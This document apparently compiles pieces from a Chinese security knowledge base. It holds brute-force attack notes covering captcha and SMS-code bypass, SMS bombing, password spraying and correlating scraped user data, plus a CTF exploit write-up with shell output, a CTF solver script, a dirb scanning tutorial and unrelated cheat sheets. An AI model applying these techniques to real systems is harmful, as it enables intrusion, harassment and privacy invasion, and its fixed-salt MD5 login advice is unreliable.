b) 后台密码爆破
i. 各大中间件及CMS的口令破解,如weblogic 、tomcat
ii. 自定义后台的密码破解
5. Webshell 密码爆破
a) Shell 发现(弱文件以及蛛丝马迹)
b) Shell 爆破(有专用工具,也可用burp完成)
6. 辅助信息
a) Web 源码、JS 以及注释信息中是否包含用户名以及口令指定规则
b) 技术运维人员的桌子上面的便签信息(若能接触到目标内部)…
## 0x04 登录验证码爆破
1. 验证码绕过
a) 验证码非必须参数,可省略
b) 验证码不失效,可多次使用
c) 验证码问题集合答案有限,可以遍历后破解
d) 非空逻辑校验,验证码置空 或 去掉校验参数的请求
e.g. ecshop后台暴力破解验证码绕过
2. 简单验证码识别
https://github.com/fupinglee/CrackCaptcahLogin/releases
类似工具很多,看使用习惯。
3. 高模糊度验证码识别
a) 一般的识别流程都是二值化、去干扰、区域选择、OCR识别
b) 可用云打码平台 (不打广告)
## 0x05 短信/邮箱验证码爆破
1. 部分登录验证码的分类也可适用于此
2. 验证码的本身绕过
a) 返回包回显(包括返回包、输出在cookie等)
b) JS控制
c) 返回包控制:True&false控制(0&1),修改返回包可绕过
3. 4位数字,验证码爆破,很快
4. 6位数字,验证码爆破;可根据多线程的前提进行多进程处理,0-199999一波;200000-399999一波…(依次类推);也可以看频率,哪块区间分布的概率较高可重点关注;也可以指定前一位或两位进行爆破。
5. 弱token
a) 例:奇虎360任意用户密码修改漏洞,发送给邮箱的验证链接里面的vc值为时间戳的md5加密;作为一种检验参数可被猜测。
b) 基于密码找回的手机号、UID、邮箱等遍历,结合客户端源码可能的些蛛丝马迹
c) 不完全属于爆破逻辑,但可互补增值
## 0x06 数据信息爆破(遍历)
1. 关键参数的的信息遍历(select)
a) 包括用户名
b) ID号
c) 手机号
d) 邮箱
e) 身份证号
f) 订单号
g) 银行卡
h) 信用卡(e.g 携程乌云漏洞)
i. PAN+信用卡到期时间(即:最小的身份验证模块);
ii. PAN+信用卡到期时间+CVV;
iii. PAN+信用卡到期时间+CVV+持卡人地址;
iv. From http://t.cn/Rfrsdki
i) …
2. 批量注册(insert)
a) 逻辑不严谨或校验不严格,实现多帐号的薅羊毛
3. 一套组合拳(也可关联到爬虫):
a) 两个常见的功能:密码找回、网站论坛
b) 切入点一:从密码找回功能分析,有相当一部分网站,提供账号检测功能,且提示存在与否,根据友情提示以及次数限定情况,可以通过返回包匹配存在的帐号,包括用户名、甚至手机号(其实主要是手机号)。
c) 切入点二:密码找回功能,输入手机号后会提示…正在找回XXX的密码信息…,这个就是用户名,(若输入用户名,有可能提示正在找回某手机号的密码信息(部分打码))
d) 切入点三:网站论坛,为了交流,以及用户的活跃度,部分网站存在bbs、club等论坛信息,一般二次开发的Discuz 。 上面会存在关于个人的一些数据,比如用户名(论坛网名)、性别、粉丝情况、帖子情况、联系方式、住址(部分需要登录权限)、还有一些倾向数据,比如购物平台关注的商品;
e) 从这三个切入点来讲,单独哪个可能都影响不足够大,没有达到影响的最大化。从一个数据利用者角度分析,最希望得到与平台性质相关的属性,比如交友网站的性别和联系方式信息,房产网站的倾向房产和联系方式等属性。 那把三个切入点的数据整合起来能得到什么呢?
i. 通过用户检测 获得手机号用户个人信息;
ii. 通过手机号检测,获得用户名信息;
iii. 通过论坛遍历,获得ID和用户名信息;
iv. 通过关联以上数据,可以对应手机号------>用户名 ------> 论坛ID,同样也就意味着获得了某手机号的用户关注了什么的信息。
Demo 说明
用户:188xxxx8888 用户名:HelloWorld 关注:某别墅
用户:138xxxx9999 用户名:52BMW 关注:宝马X6
用户:159xxxx6666 用户名:HelloKitty 就职某金融企业
用户:186xxxx5555 用户名:独孤求败 购买了大疆无人机
针对Demo数据,从一个数据威胁角度来分析,那可以实现精准营销。带来的场景就是另一片天地。
## 0x07 爆破关联
1. 数据重放-短信炸弹
a) 无任何限制的短信炸弹
b) 单独手机号存在短信阈值限制,有可能通过间隔符绕过,18888888888,,,与18888888888效果一样;
c) 针对单独手机号有阈值限制,但可随意轮询其他手机号,同样有危害
d) 会导致短信网关的资源浪费和流失
2. 数据重放-邮箱炸弹
a) 相对短信炸弹成本较低,但其逻辑同短信炸弹
1. 子域名爆破
a) 根据自己平台和习惯选择即可:subDomainsBrute、Layer、FuzzDomain
2. 子目录、弱文件爆破
a) 弱文件爆破,对比过老御剑、weakfilescan、dirfuzz、cansian.py 仍然觉得一款基于python3的dirsearch 值得拥有(可自定义字典)
https://github.com/maurosoria/dirsearch
b) 也可以自己写,就是基本的web请求,以及返回包的长度或特征匹配。
3. Fuzzing 测试
a) SQL、XSS
b) 拒绝服务漏洞,例如SPIKE对表单测试特殊字符的异常处理
## 0x08 协议口令爆破
1. SSH RDP FTP MySQL MSSQL …
a) Fenghuangscan值得推荐,Hydra (Kali自带)值得拥有;
b) Nmap 也可完成部分破解工作,本身是一个基础工具,但script下的脚本能让你做出不基础的事情
c) 毕竟直接拿到远控权限事半功倍,可直接获取数据,对于测试来讲还可获取源码,以半审计的方法进行挖掘。
d) 且有人以此为生(全网抓鸡)
2. SMTP、VPN协议类
a) 第一点提到的一些协议,初具成熟均不公开于互联网(当然意识和测试情况也有),但SMTP 和 VPN 类,大部分都有,也是入侵的概率很大的入口点
i. brut3k1t(github有)
ii. 也有自定义的PY脚本
iii. 小技巧点:部分对同一用户有密码失败次数限制,可把循环颠倒过来,用同密码刷一遍用户,在用下一个口令刷一遍用户…
b) 翻到邮箱,根据信息检索,信息很精准,很有可能获得认证信息
c) 获得VPN认证,在内网搞事,一不小心就干掉了一个大家伙。
3. 特殊服务类未授权访问或者弱认证
a) Redis未授权访问
b) Jenkins未授权访问
c) MongoDB未授权访问
d) ZooKeeper未授权访问
e) Elasticsearch未授权访问
f) Memcache未授权访问
g) Hadoop未授权访问
h) CouchDB未授权访问
i) Docker未授权访问
j) 毕竟这些未授权可以直接getshell或直接获得数据
## 0x09 攻击防御
1. 登录界面暴力破解,哪些加固方法?
a) 阈值的设立
i. 单位时间内超过额定请求次数,封帐号&封IP段时间
ii. 支持逆向思路
b) 密码输入错误次数达到3次后增设验证码
i. 验证码自身的安全性参考下一个问题
c) 自身应用系统的健壮性
i. 强制要求用户注册时满足口令复杂度要求
ii. 定期检索数据库弱口令帐号的存在,可比对top500的密文值
2. 图形验证码自身常见的加固方法?
字体扭曲
字体粘连
字体镂空
字体混用
主体干扰线
背景色干扰
背景字母干扰
公式验证码
加减法验证码
逻辑验证码
3. 安全登录流程设计?
系统设置一个固定的盐值,该盐值最好足够复杂,如:`1qaz2wsx3edc4rfv!@#$%^&**qqtrtRTWDFHAJBFHAGFUAHKJFHAJHFJHAJWRFA`
用户注册、修改密码时,将用户的原始密码与我们的固定盐值拼接,然后做md5运算。
传递至后端,保存进数据库(数据库中保存的密码是用户的原始密码拼接固定盐值后,md5运算后的结果)。
登录时,将用户的原始密码与我们的固定盐值进行拼接,然后做md5运算,运算后的结果再拼接上我们的随机码,再次md5运算,然后提交。
后端接收到登录请求后,将从数据库中查询出的密码与session中的随机码拼接后,md5运算,然后与前端传递的结果进行比较。
PS:这种登录流程对于数据包重放来讲的确有效,但对于正常的selenium浏览器输入爆破仍需要结合阈值和验证码来防御。
4. Modsecurity类防御暴力破解类?
a) 若代码变更成本大,可以使用Modsecurity (当然直接买硬WAF也可以)
b) https://www.trustwave.com/Resources/SpiderLabs-Blog/Defending-WordPress-Logins-from-Brute-Force-Attacks/
5. 针对验证码可多次重用的加固方法?
6. 主机类暴力破解的防御方法?
a) 自身的帐号口令体系满足复杂度要求
b) 若非必须的服务,直接禁止对外的开放,包括22、3389
c) 限定指定IP访问(网络的访问控制)
d) 不使用口令方式,使用私钥类登录
e) 意识类:不在标签写密码;运维管理类也不直接统记录到一个txt
|
sec-knowleage
|
# smash (pwn 388p, 9 solved)
TL;DR
1. Leak locations of libc and stack by exploiting the format string vulnerability
2. Modify the CET configuration of the emulator by using the write primitive from the stack buffer overflow
3. Execute shell with ROP sequence from the stack buffer overflow
## Analysis
In the task we get:
* [64-bit Linux executable](smash) of the server application,
* libc shared library,
* "Software Development Emulator" from Intel that reports version "8.56.0 external" and
* the following loader script:
```
#!/bin/sh
cd `dirname $0`
echo "Now loading..."
env -i ./sde/sde64 -no-follow-child -cet -cet_output_file /dev/null -- ./smash
```
The server application includes two vulnerabilities that are easy to spot.
The first vulnerability is that unsanitized user input is passed as the format parameter when calling `__dprintf_chk` at 0x126B:
```
.text:122C lea rsi, aInputName ; "Input name > "
.text:1233 mov edi, 1
.text:1238 mov eax, 0
.text:123D call dprintf@plt
.text:1242 mov esi, 20h ; read_size
.text:1247 mov edi, 0 ; buffer
.text:124C call sub_12E7 ; read string
.text:1251 mov [rbp+user_input], rax
.text:1255 mov rax, [rbp+user_input]
.text:1259 mov rdx, rax ; format
.text:125C mov esi, 1
.text:1261 mov edi, 1
.text:1266 mov eax, 0
.text:126B call __dprintf_chk@plt
```
An attacker could exploit this format string vulnerability to leak content of the application stack.
The second vulnerability is that subroutine `sub_12E7` allocates stack buffer of insufficient size when called at 0x1290 and 0x12C9:
```
.text:1286 mov esi, 38h ; read_size
.text:128B mov edi, 0 ; buffer
.text:1290 call sub_12E7 ; read string
.text:1295 mov [rbp+user_input], rax
.text:1299 mov rax, [rbp+user_input]
.text:129D movzx eax, byte ptr [rax]
.text:12A0 or eax, 20h
.text:12A3 cmp al, 'y'
.text:12A5 jnz short l_message_done
.text:12A7 lea rsi, aInputMessage ; "\nInput message > "
.text:12AE mov edi, 1
.text:12B3 mov eax, 0
.text:12B8 call dprintf@plt
.text:12BD mov rax, [rbp+user_input]
.text:12C1 mov esi, 38h ; read_size
.text:12C6 mov rdi, rax ; buffer
.text:12C9 call sub_12E7 ; read string
.text:12CE l_message_done:
```
An attacker could exploit this stack buffer overflow vulnerability to overwrite the saved `rbp` and the return address.
However any attempts to change the return address via the stack buffer overflow vulnerability are unsuccessful.
This is because of the CET mitigation that protects integrity of the return addresses.
The protection is implemented as Intel processor feature using a dedicated shadow stack to record just the return addresses.
When executing "call" instruction, the processor pushes the return address on both the normal application stack and the shadow stack.
On "ret" instruction, values from both stacks are compared to detect any unexpected changes.
The challenge uses software to emulate CET feature, so we decided to check the internals of the emulator.
In particular we focused on checking how "Software Development Emulator" tracks the CET state in memory.
When reverse engineering, we started with the strings used for printing CET configuration and quickly identified the relevant data structure.
We learned that changing a few bits would be sufficient to disable CET in the emulator.
We also checked that even if the relevant data structure is located in the emulator heap, its offset from libc remains constant across runs.
## Exploitation
Our [exploit](exploit.py) works as follows.
### Step 1: Leak locations of libc and stack by exploiting the format string vulnerability
This is required for the two steps that follow.
### Step 2: Modify the CET configuration of the emulator by using the write primitive from the stack buffer overflow
In order to disable CET in the emulator we need to reset relevant field of CET configuration block.
The targeted data structure is located at fixed distance from libc.
We use a primitive to write zero bit at arbitrary address to perform this action.
For this we exploit the stack buffer overflow vulnerability in subroutine `sub_12E7` called at 0x1290, overwriting the saved `rbp` value before it is used later as the frame pointer at 0x1295.
This overwrites arbitrary memory location with an address of heap buffer.
Using the least significant bits of the heap pointer is sufficient as these are always zero.
### Step 3: Execute shell with ROP sequence from the stack buffer overflow
CET is disabled at this point and we are free to use any gadget to construct ROP chain here.
## Example
```
[+] Opening connection to pwn01.chal.ctf.westerns.tokyo on port 29246: Done
[DEBUG] Received 0xf bytes:
b'Now loading...\n'
[*] Step 1: Leak locations of libc and stack by exploiting the format string vulnerability...
[DEBUG] Received 0xd bytes:
b'Input name > '
[DEBUG] Sent 0x1b bytes:
b'%p\t%p\t%p\t%p\t%p\t%p\t%p\t%p\t%p\t'
[DEBUG] Received 0x6a bytes:
b'0x55f82a80f2c0\t0x55f82a80f2a0\t0xd\t(nil)\t0x55f82a80f2a0\t0x7ffd22f0b010\t0x55f829915216\t(nil)\t0x7fc48f3c50b3\t'
[DEBUG] Received 0xb bytes:
b'\n'
b'OK? [y/n] '
[*] stack_va = 7ffd22f0b010
[*] libc_start_main_va = 7fc48f3c50b3
[*] libc_va = 7fc48f39e000
[*] Step 2: Modify the CET configuration of the emulator by using the write primitive from the stack buffer overflow...
[*] target_va = 7fc5a3e14f90
[DEBUG] Sent 0x37 bytes:
00000000 79 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │yAAA│AAAA│AAAA│AAAA│
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000030 98 4f e1 a3 c5 7f 00 │·O··│···│
00000037
[*] Step 3: Execute shell with ROP sequence from the stack buffer overflow...
[DEBUG] Received 0x11 bytes:
b'\n'
b'Input message > '
[DEBUG] Sent 0x37 bytes:
00000000 e0 fe 4d 8f c4 7f 00 00 e1 fe 4d 8f c4 7f 00 00 │··M·│····│··M·│····│
00000010 e6 4c 48 8f c4 7f 00 00 42 42 42 42 42 42 42 42 │·LH·│····│BBBB│BBBB│
00000020 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│
00000030 a8 af f0 22 fd 7f 00 │···"│···│
00000037
[DEBUG] Received 0x6 bytes:
b'\n'
b'Bye!\n'
[*] Switching to interactive mode
$ ls -la
total 8656
drwxr-x--- 3 root smash 4096 Sep 20 03:46 .
drwxr-xr-x 11 root root 4096 Sep 21 10:04 ..
-rw-r----- 1 root smash 43 Sep 20 03:42 flag.txt
-rwxr-x--- 1 root smash 128 Sep 20 03:42 run.sh
drwxr-xr-x 4 root smash 4096 Sep 12 14:44 sde
-rw-r----- 1 root smash 8826053 Sep 20 03:42 sde.tgz
-rwxr-x--- 1 root smash 14464 Sep 20 03:42 smash
$ cat flag.txt
TWCTF{17_15_ju57_4n_3mul470r,n07_r34l_CET}
```
|
sec-knowleage
|
pwdx
===
用于显示指定进程的当前工作目录
## 内建命令
### 概要
```shell
pwdx [进程ID]
```
### 参数说明
- `进程ID`:要查询的进程ID,可以使用 `ps` 命令查看。
## 示例
下面示例中,使用 `ps` 命令查看 `nginx` 进程的信息,然后使用 `pwdx` 命令查询进程ID为 `5678` 的进程的当前工作目录。
```bash
$ ps -ef | grep nginx
# root 1234 1 0 10:00 ? 00:00:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
# www-data 5678 1234 0 10:01 ? 00:00:00 nginx: worker process
$ pwdx 5678
# 5678: /var/www/html
```
查看当前进程的工作目录:
```bash
$ pwdx $$
```
查看指定进程的工作目录:
```bash
$ pwdx 1234
```
批量查看多个进程的工作目录:
```bash
$ ps aux | awk '{print $2}' | xargs pwdx
```
结合其他命令,查看某个进程的工作目录和命令行:
```bash
$ ps -p 1234 -o cmd | tail -n 1 | awk '{print $1}' | xargs pwdx
```
查看所有进程的工作目录:
```bash
$ ps -eo pid | xargs pwdx
```
|
sec-knowleage
|
from tab import tab
def doit(n, ops):
for op, arg in ops:
if op == 0:
n += arg
elif op == 1:
n = (n << arg) | (n >> (8 - arg))
elif op == 2:
n ^= arg
else:
assert False
n &= 0xff
return n
def inv_one(op):
o, a = op
if o == 0:
return (0, (256 - a) % 256)
if o == 1:
return (1, (8 - a) % 8)
if o == 2:
return op
def inv(ops):
return [inv_one(op) for op in ops[::-1]]
SWAP = [(0, 254), (1, 7), (0, 1), (1, 1)]
def get_swappy_sequence(a, b):
if a == b:
return []
if a > b:
a, b = b, a
return tab[(a, b)] + SWAP + inv(tab[(a, b)])
def get_perm_sequence(perm):
seq = []
perm = perm[:]
for i in range(256):
j = perm.index(i)
seq += get_swappy_sequence(i, j)
perm[i], perm[j] = perm[j], perm[i]
return seq
pt = 'GoodCipher'
from pwn import *
import itertools
charset = string.letters + string.digits
def connect(h, p):
r = remote(h, p)
l = r.readline()
suf = l.split("+")[1].split(")")[0]
exp = l.split("==")[1].strip()
for c in itertools.product(charset, repeat = 4):
s = "".join(c)
if s[1:] == 'aaa':
print s
if hashlib.sha256(s + suf).hexdigest() == exp:
r.sendline(s)
break
return r
r = connect("47.75.4.252", 10001)
for i in range(3):
r.recvuntil("ciphertext is ")
ct = r.recvline().strip().decode("hex")
print ct.encode("hex")
perm = range(256)
for p, c in zip(pt, ct):
p, c = ord(p), ord(c)
j = perm.index(c)
print p, c, j
perm[p], perm[j] = c, perm[p]
seq = get_perm_sequence(perm)
for s in seq:
r.send(str(s[0]) + " " + str(s[1]))
print s, r.recvline().strip()
r.send("\n")
r.interactive()
|
sec-knowleage
|
---
title: Missive
date: 2022-11-23 16:23:31.695283
background: bg-[#3665e5]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 83 keyboard shortcuts found in Missive
---
Keyboard Shortcuts
------------------
### Navigation
Shortcut | Action
---|---
`Down` | Next item
`Up` | Previous item
`Alt` `Up` | First item
`Alt` `Down` | Last item
`Right` | Open item
`Left` | Collapse item
`Tab` | Next scope
`Shift` `Tab` | Previous scope
`PgUp` | Scroll up
`PgDn` | Scroll down
{.shortcuts}
### Selection
Shortcut | Action
---|---
`Shift` `Up` | Select next conversation
`Shift` `Down` | Select previous conversation
`Alt` `Shift` `Up` | Select until first conversation
`Alt` `Shift` `Down` | Select until last conversation
`Ctrl` `A` | Select all conversations
{.shortcuts}
### Application
Shortcut | Action
---|---
`Ctrl` `N` | Compose new email
`Ctrl` `Shift` `N` | Create new conversation
`Ctrl` `F` | Search
`Ctrl` `Shift` `C` | Focus comment box
`Ctrl` `Shift` `X` | Focus task box
`Space` | Preview item
`Ctrl` `Up` | Edit previous comment
`Ctrl` `Shift` `Y` | Set a status
`Ctrl` `.` | Open conversation contextual menu
`Ctrl` `G` | Open more menu
`Ctrl` `L` | Open location
`Ctrl` `,` | Open preferences
`Ctrl` `Shift` `,` | Open contacts
`Ctrl` `Alt` `S` | Toggle right sidebar
`Ctrl` `Alt` `N` | Main right sidebar action
`Ctrl` `Alt` `R` | Reload
{.shortcuts}
### Actions {.row-span-2}
Shortcut | Action
---|---
`Back` | Archive or remove label
`Alt` `Back` | Close
`Cmd` `Back` | Trash
`Ctrl` `Shift` `L` | Label as...
`Ctrl` `Alt` `L` | Move to...
`Ctrl` `Shift` `K` | Assign
`Ctrl` `Shift` `J` | Snooze
`Ctrl` `Shift` `S` | Toggle star
`Ctrl` `Shift` `M` | Toggle watch
`Ctrl` `R` | Reply all
`Ctrl` `Shift` `R` | Reply
`Ctrl` `Shift` `F` | Forward
`Ctrl` `Shift` `D` | Open or focus draft
`Ctrl` `P` | Print
`Ctrl` `O` | Open in new window
`Ctrl` `Z` | Undo last action
`Ctrl` `Shift` `Z` | Redo last action
`Ctrl` `Shift` `I` | Mark as read
`Ctrl` `Shift` `U` | Mark as unread
`Ctrl` `Shift` `=` | Mark as important
`Ctrl` `-` | Mark as not important
`Ctrl` `Shift` `Right` | Expand entire conversation
`Ctrl` `Shift` `Left` | Collapse entire conversation
`Ctrl` `Shift` `'` | Toggle message quote
`Ctrl` `Shift` `P` | Pin to sidebar
`Ctrl` `Shift` `G` | Merge...
{.shortcuts}
### Composer
Shortcut | Action
---|---
`Ctrl` `Enter` | Send
`Ctrl` `Shift` `Enter` | Send and archive
`Ctrl` `D` | Discard draft
`Ctrl` `Shift` `C` | Add CC recipients
`Ctrl` `Shift` `B` | Add BCC recipients
`Ctrl` `K` | Insert a link
`Ctrl` `Shift` `O` | Open responses
{.shortcuts}
### Formatting
Shortcut | Action
---|---
`Ctrl` `Shift` `-` | Decrease text size
`Ctrl` `Shift` `=` | Increase text size
`Ctrl` `B` | Bold
`Ctrl` `I` | Italic
`Ctrl` `U` | Underline
`Ctrl` `Shift` `7` | Numbered list
`Ctrl` `Shift` `8` | Bulleted list
`Ctrl` `[` | Decrease indent
`Ctrl` `]` | Increase indent
{.shortcuts}
### Calendar
Shortcut | Action
---|---
`Ctrl` `N` | Create event
`Ctrl` `R` | Refresh
`Enter` | View day
`T` | Today
`Ctrl` `L` | Go to date
`D` | Day view
`W` | Week view
`M` | Month view
`A` | Agenda view
{.shortcuts}
### Jumping
Shortcut | Action
---|---
`Ctrl` `1-9` | Go to Mailbox 1-9
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Missive Team Inbox](https://missiveapp.com/help/keyboard-shortcuts) _(missiveapp.com)_
|
sec-knowleage
|
# 通信领域常用编码
## 电话拨号编码
1-9 分别使用 1-9 个脉冲,0 则表示使用 10 个脉冲。
## Morse 编码
参见 [摩尔斯编码 -维基百科](https://zh.wikipedia.org/wiki/%E6%91%A9%E5%B0%94%E6%96%AF%E7%94%B5%E7%A0%81),对应表如下
### 特点
- 只有 `.` 和 `-`;
- 最多 6 位;
- 也可以使用 `01` 串表示。
### 工具
- [摩尔斯编码在线转换](http://www.zhongguosou.com/zonghe/moErSiCodeConverter.aspx)
### 题目
- JarvisOJ - Basec - 「-.-字符串」
## 敲击码
敲击码(Tap code)是一种以非常简单的方式对文本信息进行编码的方法。因该编码对信息通过使用一系列的点击声音来编码而命名,敲击码是基于 5 ×5 方格波利比奥斯方阵来实现的,不同点是是用 K 字母被整合到 C 中。
|Tap Code|1|2|3|4|5|
|--|--|--|--|--|--|
|1|A|B|C/K|D|E|
|2|F|G|H|I|J|
|3|L|M|N|O|P|
|4|Q|R|S|T|U|
|5|V|W|X|Y|Z|
## 曼彻斯特编码
- [曼彻斯特编码 - 维基百科](https://zh.wikipedia.org/wiki/%E6%9B%BC%E5%BD%BB%E6%96%AF%E7%89%B9%E7%BC%96%E7%A0%81)
## 格雷编码
- [格雷码 - 维基百科](https://zh.wikipedia.org/wiki/%E6%A0%BC%E9%9B%B7%E7%A0%81)
|
sec-knowleage
|
DIRB官方地址:
http://dirb.sourceforge.net/
### 简介(摘自官方原文):
> DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects. It basically works by launching a dictionary based attack against a web server and analizing the response.
### 介绍:
DIRB是一个基于命令行的工具,依据字典来爆破目标Web路径以及敏感文件,它支持自定义UA,cookie,忽略指定响应吗,支持代理扫描,自定义毫秒延迟,证书加载扫描等。是一款非常优秀的全方位的目录扫描工具。同样Kaili内置了dirb。
**攻击机:**
192.168.1.104 Debian
**靶机:**
192.168.1.102 Windows 2003 IIS

### 普通爆破:
```bash
root@John:~/wordlist/small# dirb http://192.168.1.102 ./ASPX.txt
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
DIRB v2.22
By The Dark Raver
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
START_TIME: Sun Feb 17 23:26:52 2019
URL_BASE: http://192.168.1.102/
WORDLIST_FILES: ./ASPX.txt
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
GENERATED WORDS: 822
‐‐‐‐ Scanning URL: http://192.168.1.102/ ‐‐‐‐
+ http://192.168.1.102//Index.aspx (CODE:200|SIZE:2749)
+ http://192.168.1.102//Manage/Default.aspx (CODE:302|SIZE:203)
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
END_TIME: Sun Feb 17 23:26:56 2019
DOWNLOADED: 822 ‐ FOUND: 2
```

### 多字典挂载:
```bash
root@John:~/wordlist/small# dirb http://192.168.1.102 ./ASPX.txt,./DIR.txt
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
DIRB v2.22
By The Dark Raver
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
START_TIME: Sun Feb 17 23:31:02 2019
URL_BASE: http://192.168.1.102/
WORDLIST_FILES: ./ASPX.txt,./DIR.txt
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
GENERATED WORDS: 1975
‐‐‐‐ Scanning URL: http://192.168.1.102/ ‐‐‐‐
+ http://192.168.1.102//Index.aspx (CODE:200|SIZE:2749)
+ http://192.168.1.102//Manage/Default.aspx (CODE:302|SIZE:203)
+ http://192.168.1.102//bbs (CODE:301|SIZE:148)
+ http://192.168.1.102//manage (CODE:301|SIZE:151)
+ http://192.168.1.102//manage/ (CODE:302|SIZE:203)
+ http://192.168.1.102//kindeditor/ (CODE:403|SIZE:218)
+ http://192.168.1.102//robots.txt (CODE:200|SIZE:214)
+ http://192.168.1.102//Web.config (CODE:302|SIZE:130)
+ http://192.168.1.102//files (CODE:301|SIZE:150)
+ http://192.168.1.102//install (CODE:301|SIZE:152)
(!) FATAL: Too many errors connecting to host
(Possible cause: EMPTY REPLY FROM SERVER)
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
END_TIME: Sun Feb 17 23:31:06 2019
DOWNLOADED: 1495 ‐ FOUND: 10
```

### 自定义UA:
```bash
root@John:~/wordlist/small# dirb http://192.168.1.102 ./ASPX.txt ‐a "M
ozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
DIRB v2.22
By The Dark Raver
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
START_TIME: Sun Feb 17 23:34:51 2019
URL_BASE: http://192.168.1.102/
WORDLIST_FILES: ./ASPX.txt
USER_AGENT: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
GENERATED WORDS: 822
‐‐‐‐ Scanning URL: http://192.168.1.102/ ‐‐‐‐
+ http://192.168.1.102//Index.aspx (CODE:200|SIZE:2735)
+ http://192.168.1.102//Manage/Default.aspx (CODE:302|SIZE:203)
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
END_TIME: Sun Feb 17 23:34:54 2019
DOWNLOADED: 822 ‐ FOUND: 2
```

### 自定义cookie:
```bash
root@John:~/wordlist/small# dirb http://192.168.1.102/Manage ./DIR.txt
‐a "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.ht
ml)" ‐c "ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45"
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
DIRB v2.22
By The Dark Raver
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
START_TIME: Sun Feb 17 23:53:08 2019
URL_BASE: http://192.168.1.102/Manage/
WORDLIST_FILES: ./DIR.txt
USER_AGENT: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.googl
e.com/bot.html)
COOKIE: ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
GENERATED WORDS: 1153
‐‐‐‐ Scanning URL: http://192.168.1.102/Manage/ ‐‐‐‐
+ http://192.168.1.102/Manage//include/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//news/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//include (CODE:301|SIZE:159)
+ http://192.168.1.102/Manage//images/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//sys/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//images (CODE:301|SIZE:158)
(!) FATAL: Too many errors connecting to host
(Possible cause: EMPTY REPLY FROM SERVER)
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
END_TIME: Sun Feb 17 23:53:10 2019
DOWNLOADED: 673 ‐ FOUND: 6
```
### 自定义毫秒延迟:
```bash
root@John:~/wordlist/small# dirb http://192.168.1.102/Manage ./DIR.txt
‐a "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.ht
ml)" ‐c "ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45" ‐z 100
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
DIRB v2.22
By The Dark Raver
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
START_TIME: Sun Feb 17 23:54:29 2019
URL_BASE: http://192.168.1.102/Manage/
WORDLIST_FILES: ./DIR.txt
USER_AGENT: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.googl
e.com/bot.html)
COOKIE: ASP.NET_SessionId=jennqviqmc2vws55o4ggwu45
SPEED_DELAY: 100 milliseconds
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
GENERATED WORDS: 1153
‐‐‐‐ Scanning URL: http://192.168.1.102/Manage/ ‐‐‐‐
+ http://192.168.1.102/Manage//include/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//news/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//include (CODE:301|SIZE:159)
+ http://192.168.1.102/Manage//images/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//sys/ (CODE:403|SIZE:218)
+ http://192.168.1.102/Manage//images (CODE:301|SIZE:158)
(!) FATAL: Too many errors connecting to host
(Possible cause: EMPTY REPLY FROM SERVER)
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
END_TIME: Sun Feb 17 23:55:50 2019
DOWNLOADED: 673 ‐ FOUND: 6
```

### 其他更多有趣的功能:
```bash
DIRB v2.22
By The Dark Raver
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
dirb <url_base> [<wordlist_file(s)>] [options]
========================= NOTES =========================
<url_base> : Base URL to scan. (Use ‐resume for session resuming)
<wordlist_file(s)> : List of wordfiles. (wordfile1,wordfile2,wordfile3...)
======================== HOTKEYS ========================
'n' ‐> Go to next directory.
'q' ‐> Stop scan. (Saving state for resume)
'r' ‐> Remaining scan stats.
======================== OPTIONS ========================
‐a <agent_string> : Specify your custom USER_AGENT.
‐b : Use path as is.
‐c <cookie_string> : Set a cookie for the HTTP request.
‐E <certificate> : path to the client certificate.
‐f : Fine tunning of NOT_FOUND (404) detection.
‐H <header_string> : Add a custom header to the HTTP request.
‐i : Use case‐insensitive search.
‐l : Print "Location" header when found.
‐N <nf_code>: Ignore responses with this HTTP code.
‐o <output_file> : Save output to disk.
‐p <proxy[:port]> : Use this proxy. (Default port is 1080)
‐P <proxy_username:proxy_password> : Proxy Authentication.
‐r : Don't search recursively.
